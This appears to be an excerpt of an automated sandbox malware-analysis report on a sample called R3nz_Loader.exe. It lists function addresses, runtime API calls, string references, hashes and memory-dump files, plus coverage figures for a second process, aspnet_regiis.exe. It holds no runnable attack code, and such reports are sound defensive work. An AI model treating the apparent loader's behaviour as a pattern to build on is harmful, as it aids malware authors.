Source File: 00000000.00000002.2236926030.000000006CEE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CEE0000, based on PE: true

Associated: 00000000.00000002.2236900845.000000006CEE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2236961655.000000006CEFB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2236989771.000000006CF01000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2237060285.000000006CF4D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cee0000_R3nz_Loader.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: df3a62bae5619c0391a4dd73f1ed9280de25fa8ef6cc31c29413405a70c15383
Instruction ID: 190f5109674d444254342633921dc5491c4fcef7153128428ccb87632a490eaf
Opcode Fuzzy Hash: df3a62bae5619c0391a4dd73f1ed9280de25fa8ef6cc31c29413405a70c15383
Instruction Fuzzy Hash: DE115172540B04AAE730ABB1CC06FCF77BC6F01708F51481EB2BAA6A50DF65F61A4752

Function 6CEF780F Relevance: 9.3, APIs: 6, Instructions: 317fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(?,00000001,?), ref: 6CEF7857
__fassign.LIBCMT ref: 6CEF7A3C
__fassign.LIBCMT ref: 6CEF7A59
WriteFile.KERNEL32(?,6CEF5FF3,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CEF7AA1
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 6CEF7AE1
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CEF7B89

Memory Dump Source

Source File: 00000000.00000002.2236926030.000000006CEE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CEE0000, based on PE: true

Associated: 00000000.00000002.2236900845.000000006CEE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2236961655.000000006CEFB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2236989771.000000006CF01000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2237060285.000000006CF4D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cee0000_R3nz_Loader.jbxd

Yara matches

Similarity

API ID: FileWrite__fassign$ConsoleErrorLastOutput
String ID:
API String ID: 1735259414-0
Opcode ID: a0100af41d6e0b12a59462d966ed4009dda44e38988df856dc31fd110a42e0c3
Instruction ID: a6b0026c13a18ec102c39e5553e503c2d8e66d977d9fb460777c94f037e74c69
Opcode Fuzzy Hash: a0100af41d6e0b12a59462d966ed4009dda44e38988df856dc31fd110a42e0c3
Instruction Fuzzy Hash: 4CC18071D052588FDB01CFA8C8809DDBBB5EF49318F28816AD865B7741E7319E46CF60

Function 6CEF22B7 Relevance: 9.1, APIs: 6, Instructions: 60COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000001,?,6CEF1F85,6CEF10B0,6CEF0AC9,?,6CEF0D01,?,00000001,?,?,00000001,?,6CF00120,0000000C,6CEF0DFA), ref: 6CEF22C5
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 6CEF22D3
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 6CEF22EC
SetLastError.KERNEL32(00000000,6CEF0D01,?,00000001,?,?,00000001,?,6CF00120,0000000C,6CEF0DFA,?,00000001,?), ref: 6CEF233E

Memory Dump Source

Source File: 00000000.00000002.2236926030.000000006CEE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CEE0000, based on PE: true

Associated: 00000000.00000002.2236900845.000000006CEE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2236961655.000000006CEFB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2236989771.000000006CF01000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2237060285.000000006CF4D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cee0000_R3nz_Loader.jbxd

Yara matches

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 34fd908fa65b1d9d808ee5770bb471e565ffca86ddbfff78375b9c870a2b59dd
Instruction ID: f505e28c71b37c500e40dbda01fd91750325837cbbb0591a67b69392405ddb82
Opcode Fuzzy Hash: 34fd908fa65b1d9d808ee5770bb471e565ffca86ddbfff78375b9c870a2b59dd
Instruction Fuzzy Hash: A901243270E7565EEB0925B56C8CA9E36B8DB2B77C330032DF13081EE2EF9289075195

Function 6CEF2433 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,?,6CEF24F4,00000000,?,00000001,00000000,?,6CEF256B,00000001,FlsFree,6CEFBD3C,FlsFree,00000000), ref: 6CEF24C3

Strings

api-ms-, xrefs: 6CEF2483

Memory Dump Source

Source File: 00000000.00000002.2236926030.000000006CEE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CEE0000, based on PE: true

Associated: 00000000.00000002.2236900845.000000006CEE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2236961655.000000006CEFB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2236989771.000000006CF01000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2237060285.000000006CF4D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cee0000_R3nz_Loader.jbxd

Yara matches

Similarity

API ID: FreeLibrary
String ID: api-ms-
API String ID: 3664257935-2084034818
Opcode ID: 8f164a22c929e9d75f7a5503a97ba4ea6461e65f64c7f92e720d9d170e19940a
Instruction ID: 2b89920c3148692ccf37dc25dd426d9ee15d2daa71d6e951c721938e82c514c5
Opcode Fuzzy Hash: 8f164a22c929e9d75f7a5503a97ba4ea6461e65f64c7f92e720d9d170e19940a
Instruction Fuzzy Hash: 4311A771F416B5ABDF128A689C48B493374AF52778F350210E974E7784D7A0E90286E5

Function 6CEF2AEA Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 30libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,6CEF2A9C,?,?,6CEF2A64,?,00000001,?), ref: 6CEF2AFF
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 6CEF2B12
FreeLibrary.KERNEL32(00000000,?,?,6CEF2A9C,?,?,6CEF2A64,?,00000001,?), ref: 6CEF2B35

Strings

CorExitProcess, xrefs: 6CEF2B0A
mscoree.dll, xrefs: 6CEF2AF8

Memory Dump Source

Source File: 00000000.00000002.2236926030.000000006CEE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CEE0000, based on PE: true

Associated: 00000000.00000002.2236900845.000000006CEE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2236961655.000000006CEFB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2236989771.000000006CF01000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2237060285.000000006CF4D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cee0000_R3nz_Loader.jbxd

Yara matches

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: ecb8bbe5a97e88623912bc87b8cfbcdfab3b0efce124e5c5813db4da93555729
Instruction ID: 7b8a18e6457946cf567e6794a6987d3fb25ec929da78d80a6edb4d722e2b639f
Opcode Fuzzy Hash: ecb8bbe5a97e88623912bc87b8cfbcdfab3b0efce124e5c5813db4da93555729
Instruction Fuzzy Hash: D3F01C31A02219FBDF02AB50DD1DB9E7E79EB45759F204060E931A2690DB348E01DB94

Function 6CEF7107 Relevance: 7.7, APIs: 5, Instructions: 199COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 6CEF718B
__alloca_probe_16.LIBCMT ref: 6CEF7251
__freea.LIBCMT ref: 6CEF72BD

Part of subcall function 6CEF62BC: HeapAlloc.KERNEL32(00000000,6CEF5FF3,6CEF5FF3,?,6CEF4CF3,00000220,?,6CEF5FF3,?,?,?,?,6CEF8111,00000001,?,?), ref: 6CEF62EE

__freea.LIBCMT ref: 6CEF72C6
__freea.LIBCMT ref: 6CEF72E9

Memory Dump Source

Source File: 00000000.00000002.2236926030.000000006CEE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CEE0000, based on PE: true

Associated: 00000000.00000002.2236900845.000000006CEE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2236961655.000000006CEFB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2236989771.000000006CF01000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2237060285.000000006CF4D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cee0000_R3nz_Loader.jbxd

Yara matches

Similarity

API ID: __freea$__alloca_probe_16$AllocHeap
String ID:
API String ID: 1096550386-0
Opcode ID: 51245f174aad9a0f91ee2a8126bb7c3d75188237c0a118552e3033cc964f9ff9
Instruction ID: 724d3ee232c44b204ec86f15bfcffad6545525c175e7c2dafe80cbe0bc978d44
Opcode Fuzzy Hash: 51245f174aad9a0f91ee2a8126bb7c3d75188237c0a118552e3033cc964f9ff9
Instruction Fuzzy Hash: A151A3B2601216ABFB118E68CC40EAB3AB9DF55768F35455DFC34A7B40EB30DC5786A0

Function 6CEF8655 Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 6CEF866D

Part of subcall function 6CEF3F43: HeapFree.KERNEL32(00000000,00000000,?,6CEF317C), ref: 6CEF3F59
Part of subcall function 6CEF3F43: GetLastError.KERNEL32(?,?,6CEF317C), ref: 6CEF3F6B

_free.LIBCMT ref: 6CEF867F
_free.LIBCMT ref: 6CEF8691
_free.LIBCMT ref: 6CEF86A3
_free.LIBCMT ref: 6CEF86B5

Memory Dump Source

Source File: 00000000.00000002.2236926030.000000006CEE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CEE0000, based on PE: true

Associated: 00000000.00000002.2236900845.000000006CEE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2236961655.000000006CEFB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2236989771.000000006CF01000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2237060285.000000006CF4D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cee0000_R3nz_Loader.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 7cf16526a78460caf841e5d595a191cabcb60c69357045231519d60ce008e896
Instruction ID: c6bb65caf34f505ff8dc2bc760c78b70164c6210b2aa5ea9fa1bca94ecb50fe2
Opcode Fuzzy Hash: 7cf16526a78460caf841e5d595a191cabcb60c69357045231519d60ce008e896
Instruction Fuzzy Hash: 04F04432515604579760DA65D485C9E33F9AB0572C7718C0BE079D7F41D730F9824AD4

Function 6CEF4133 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 206COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 6CEF42CD

Strings

*?, xrefs: 6CEF4176

Memory Dump Source

Source File: 00000000.00000002.2236926030.000000006CEE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CEE0000, based on PE: true

Associated: 00000000.00000002.2236900845.000000006CEE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2236961655.000000006CEFB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2236989771.000000006CF01000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2237060285.000000006CF4D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cee0000_R3nz_Loader.jbxd

Yara matches

Similarity

API ID: _free
String ID: *?
API String ID: 269201875-2564092906
Opcode ID: 94637f4be4f3376c3c73e86559238b3eb3b83d9d35241fd0efc8265dbc0da022
Instruction ID: a7395f7160013465e54bf1b74377b4a46f072d6a8ae42bbf7baa8eff8efeed9a
Opcode Fuzzy Hash: 94637f4be4f3376c3c73e86559238b3eb3b83d9d35241fd0efc8265dbc0da022
Instruction Fuzzy Hash: E0616F76E042199FDB14CFA9C9805DDFBF5FF48318B24826AD825E7700E771AE468B90

Function 6CEF807C Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 170fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 6CEF780F: GetConsoleOutputCP.KERNEL32(?,00000001,?), ref: 6CEF7857

WriteFile.KERNEL32(?,?,00000000,?,00000000,?,?,?,6CEF5FF3,?,00000000,00000000,6CF00360,0000002C,6CEF6064,?), ref: 6CEF81C2
GetLastError.KERNEL32 ref: 6CEF81CC
__dosmaperr.LIBCMT ref: 6CEF820B

Strings

d`l, xrefs: 6CEF807E

Memory Dump Source

Source File: 00000000.00000002.2236926030.000000006CEE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CEE0000, based on PE: true

Associated: 00000000.00000002.2236900845.000000006CEE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2236961655.000000006CEFB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2236989771.000000006CF01000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2237060285.000000006CF4D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cee0000_R3nz_Loader.jbxd

Yara matches

Similarity

API ID: ConsoleErrorFileLastOutputWrite__dosmaperr
String ID: d`l
API String ID: 910155933-4007956071
Opcode ID: d7ab93ad23c7af4732795ba2c640a6203e043b2e3aa0b8840fe6e625d403963c
Instruction ID: 216b159ed947cd2f4adff9b393be2ec03144efba529569e1930b0096148c1c09
Opcode Fuzzy Hash: d7ab93ad23c7af4732795ba2c640a6203e043b2e3aa0b8840fe6e625d403963c
Instruction Fuzzy Hash: 0451D372A40209AAEB218FA6C804BDEBB75AF4731CF34015AE530A7B51D3719A47C761

Function 00A52290 Relevance: 6.3, Strings: 5, Instructions: 38COMMON

Download Yara Rule

Strings

4\D, xrefs: 00A522DC
H\D, xrefs: 00A522F6
T\D, xrefs: 00A522FD
t\D, xrefs: 00A5231B
`\D, xrefs: 00A52304

Memory Dump Source

Source File: 00000000.00000002.2233480373.0000000000A12000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A10000, based on PE: true

Associated: 00000000.00000002.2233446565.0000000000A10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2233550543.0000000000A9E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a10000_R3nz_Loader.jbxd

Yara matches

Similarity

API ID:
String ID: 4\D$H\D$T\D$`\D$t\D
API String ID: 0-3727539395
Opcode ID: 0368e68f87729029b281933ce024ae631164ee09756e1e67fa335775d7cc7b02
Instruction ID: 66e00f45a7966d97c22c355d91eb2f0f32d431e074c95d60140f1740f8c4b94a
Opcode Fuzzy Hash: 0368e68f87729029b281933ce024ae631164ee09756e1e67fa335775d7cc7b02
Instruction Fuzzy Hash: 9F11FEB9801B688FEF10CF95C8C858DBBB4FB85718F968156C8543B316C7B46909CF98

Function 6CEF4047 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 6CEF4669: _free.LIBCMT ref: 6CEF4677

Part of subcall function 6CEF523D: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,00000000,00000000,?,6CEF72B3,?,00000000,00000000), ref: 6CEF52E9

GetLastError.KERNEL32 ref: 6CEF40AF
__dosmaperr.LIBCMT ref: 6CEF40B6
GetLastError.KERNEL32(?,?,?,?,?,?,?), ref: 6CEF40F5
__dosmaperr.LIBCMT ref: 6CEF40FC

Memory Dump Source

Source File: 00000000.00000002.2236926030.000000006CEE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CEE0000, based on PE: true

Associated: 00000000.00000002.2236900845.000000006CEE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2236961655.000000006CEFB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2236989771.000000006CF01000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2237060285.000000006CF4D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cee0000_R3nz_Loader.jbxd

Yara matches

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide_free
String ID:
API String ID: 167067550-0
Opcode ID: 91b66160be5576b0721773801d182f3b04b8a9b66a6b23dafb332828821281c4
Instruction ID: bcfddebafc6a9edf488019e9719f77d160f8866677e4f5a2bd4a98f05d65affa
Opcode Fuzzy Hash: 91b66160be5576b0721773801d182f3b04b8a9b66a6b23dafb332828821281c4
Instruction Fuzzy Hash: 7C21D372604205AFAB109F668E80C5BB7BDEF4136C724861AF93497B40E731ED429BA1

Function 6CEF3947 Relevance: 6.1, APIs: 4, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,6CEF7C57,?,00000001,6CEF6064,?,6CEF8111,00000001,?,?,?,6CEF5FF3,?,00000000), ref: 6CEF394C
_free.LIBCMT ref: 6CEF39A9
_free.LIBCMT ref: 6CEF39DF
SetLastError.KERNEL32(00000000,00000013,000000FF,?,6CEF8111,00000001,?,?,?,6CEF5FF3,?,00000000,00000000,6CF00360,0000002C,6CEF6064), ref: 6CEF39EA

Memory Dump Source

Source File: 00000000.00000002.2236926030.000000006CEE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CEE0000, based on PE: true

Associated: 00000000.00000002.2236900845.000000006CEE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2236961655.000000006CEFB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2236989771.000000006CF01000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2237060285.000000006CF4D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cee0000_R3nz_Loader.jbxd

Yara matches

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 9eceb27972c431bb5284f3744faa2d93dea7498f4d4156adac00c0ac4d56e3c7
Instruction ID: 86e61305d5e7fb008904e09e28f896339840d2421fcb1e55c4668b09a9e952ba
Opcode Fuzzy Hash: 9eceb27972c431bb5284f3744faa2d93dea7498f4d4156adac00c0ac4d56e3c7
Instruction Fuzzy Hash: 0411E932709504ABEB416E798C81E5F36799BD367CB35462DF23493BC5EF21880B4113

Function 6CEF3A9E Relevance: 6.1, APIs: 4, Instructions: 69COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00000001,6CEF3ED8,6CEF3F69,?,?,6CEF317C), ref: 6CEF3AA3
_free.LIBCMT ref: 6CEF3B00
_free.LIBCMT ref: 6CEF3B36
SetLastError.KERNEL32(00000000,00000013,000000FF,?,00000001,6CEF3ED8,6CEF3F69,?,?,6CEF317C), ref: 6CEF3B41

Memory Dump Source

Source File: 00000000.00000002.2236926030.000000006CEE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CEE0000, based on PE: true

Associated: 00000000.00000002.2236900845.000000006CEE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2236961655.000000006CEFB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2236989771.000000006CF01000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2237060285.000000006CF4D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cee0000_R3nz_Loader.jbxd

Yara matches

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 4718dc2b7a55f8f20a69895a679297e92a3596fe6d63059eac18584bfef1e540
Instruction ID: 3b596c3ad8dbaa916d48f251d28c83ae54e1837565c861f77a716f5359396f7d
Opcode Fuzzy Hash: 4718dc2b7a55f8f20a69895a679297e92a3596fe6d63059eac18584bfef1e540
Instruction Fuzzy Hash: 0811E9327099006BA7416D758C80E5F3A799BD36BCB35462CF53483BC1EB21CD0B4112

Function 6CEF8EA6 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,?,6CEF8900,?,00000001,?,00000001,?,6CEF7BE6,?,?,00000001), ref: 6CEF8EBD
GetLastError.KERNEL32(?,6CEF8900,?,00000001,?,00000001,?,6CEF7BE6,?,?,00000001,?,00000001,?,6CEF8132,6CEF5FF3), ref: 6CEF8EC9

Part of subcall function 6CEF8E8F: CloseHandle.KERNEL32(FFFFFFFE,6CEF8ED9,?,6CEF8900,?,00000001,?,00000001,?,6CEF7BE6,?,?,00000001,?,00000001), ref: 6CEF8E9F

___initconout.LIBCMT ref: 6CEF8ED9

Part of subcall function 6CEF8E51: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,6CEF8E80,6CEF88ED,00000001,?,6CEF7BE6,?,?,00000001,?), ref: 6CEF8E64

WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,6CEF8900,?,00000001,?,00000001,?,6CEF7BE6,?,?,00000001,?), ref: 6CEF8EEE

Memory Dump Source

Source File: 00000000.00000002.2236926030.000000006CEE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CEE0000, based on PE: true

Associated: 00000000.00000002.2236900845.000000006CEE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2236961655.000000006CEFB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2236989771.000000006CF01000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2237060285.000000006CF4D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cee0000_R3nz_Loader.jbxd

Yara matches

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 45923eaa62dfb86530495e65611cefd0bd8d7a870477da27f4f9b5c73a7b5e07
Instruction ID: 9e8bc97175ee8704e1be1d9039313bff7b7b1f752454875d3de2df26fd1e01ca
Opcode Fuzzy Hash: 45923eaa62dfb86530495e65611cefd0bd8d7a870477da27f4f9b5c73a7b5e07
Instruction Fuzzy Hash: E7F01C36A10118FBCF222F96DC04A8E3F76EB4A3A9B144011FA3899620C7328D20DB94

Function 6CEF3274 Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 6CEF327D

Part of subcall function 6CEF3F43: HeapFree.KERNEL32(00000000,00000000,?,6CEF317C), ref: 6CEF3F59
Part of subcall function 6CEF3F43: GetLastError.KERNEL32(?,?,6CEF317C), ref: 6CEF3F6B

_free.LIBCMT ref: 6CEF3290
_free.LIBCMT ref: 6CEF32A1
_free.LIBCMT ref: 6CEF32B2

Memory Dump Source

Source File: 00000000.00000002.2236926030.000000006CEE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CEE0000, based on PE: true

Associated: 00000000.00000002.2236900845.000000006CEE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2236961655.000000006CEFB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2236989771.000000006CF01000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2237060285.000000006CF4D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cee0000_R3nz_Loader.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 9b13a037dd0d3a7337324d4ccd474edf809051383d032c3f820b288dcd76abae
Instruction ID: cdb2a57864bb17a785a2b0a7a8315fffcf20889148caaf02eee0751955cb5d21
Opcode Fuzzy Hash: 9b13a037dd0d3a7337324d4ccd474edf809051383d032c3f820b288dcd76abae
Instruction Fuzzy Hash: BFE04F76E301209B9FA1BF18E4016C53E31E73AA4C310E04BE41403B12D73502AFDF8A

Function 6CEF2B78 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 123COMMON

Download Yara Rule

Strings

C:\Users\user\Desktop\R3nz_Loader.exe, xrefs: 6CEF2BBB, 6CEF2BC2, 6CEF2BF8

Memory Dump Source

Source File: 00000000.00000002.2236926030.000000006CEE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CEE0000, based on PE: true

Associated: 00000000.00000002.2236900845.000000006CEE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2236961655.000000006CEFB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2236989771.000000006CF01000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2237060285.000000006CF4D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cee0000_R3nz_Loader.jbxd

Yara matches

Similarity

API ID:
String ID: C:\Users\user\Desktop\R3nz_Loader.exe
API String ID: 0-394733233
Opcode ID: 97671da4c4471acc57f28490bf179452a60e87d5c7f515e6ac50f74f1cdd9912
Instruction ID: afa3f6679cf6fcec6b02874cab5fa7db45868bfcc729759757c54513ad73933b
Opcode Fuzzy Hash: 97671da4c4471acc57f28490bf179452a60e87d5c7f515e6ac50f74f1cdd9912
Instruction Fuzzy Hash: A341A271E04254AFDB11DF99C9949DEBBF8EFA6318F3040AAE424D7740D7708A46CB50

Function 6CEF76F0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 6CEF75AF: EnterCriticalSection.KERNEL32(00000001,?,6CEF7FEE,?,6CF00400,00000010,6CEF6107,00000000,00000000,?,?,?,?,6CEF614B,?,00000000), ref: 6CEF75CA

FlushFileBuffers.KERNEL32(00000000,6CF003E0,0000000C,6CEF77F7,d`l,?,00000001,?,6CEF6064,?), ref: 6CEF7739
GetLastError.KERNEL32 ref: 6CEF774A

Strings

d`l, xrefs: 6CEF7771

Memory Dump Source

Source File: 00000000.00000002.2236926030.000000006CEE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CEE0000, based on PE: true

Associated: 00000000.00000002.2236900845.000000006CEE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2236961655.000000006CEFB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2236989771.000000006CF01000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2237060285.000000006CF4D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cee0000_R3nz_Loader.jbxd

Yara matches

Similarity

API ID: BuffersCriticalEnterErrorFileFlushLastSection
String ID: d`l
API String ID: 4109680722-4007956071
Opcode ID: dae9eb59fa67060f953722d0b8d3849705bc30a37d9df971d64e7e8b724b16c0
Instruction ID: e9d987d34ce38fe6d6990a94068cdf6dc1ed10f67d07ed21dc7619c1109ad7d2
Opcode Fuzzy Hash: dae9eb59fa67060f953722d0b8d3849705bc30a37d9df971d64e7e8b724b16c0
Instruction Fuzzy Hash: 53018C72A10304DFC7009FA8D844A8EBBB1AF49728F20421EE931DB7D0DBB4D9028B90

Analysis Process: aspnet_regiis.exePID: 5780, Parent PID: 2684COMMON

Execution Graph

Execution Coverage:	11.3%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	28.2%
Total number of Nodes:	305
Total number of Limit Nodes:	29

Executed Functions

Function 02791847 Relevance: 45.6, APIs: 1, Strings: 25, Instructions: 129
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VariantInit.OLEAUT32 ref: 0279186C

Strings

^, xrefs: 027918F4
\, xrefs: 027918FE
R, xrefs: 027918E0
$, xrefs: 027918BD
L, xrefs: 027918AE
5, xrefs: 027918C7
-, xrefs: 027918EF
H, xrefs: 027918C2
#, xrefs: 027918A9
), xrefs: 027918DB
Z, xrefs: 02791908
T, xrefs: 027918D6
2, xrefs: 027918E5
5, xrefs: 0279188B
=, xrefs: 02791895
0, xrefs: 027918B3
@, xrefs: 0279189A
], xrefs: 02791903
B, xrefs: 02791890
N, xrefs: 027918A4
P, xrefs: 027918EA
2, xrefs: 027918F9
J, xrefs: 027918B8
V, xrefs: 027918CC
2, xrefs: 0279189F

Memory Dump Source

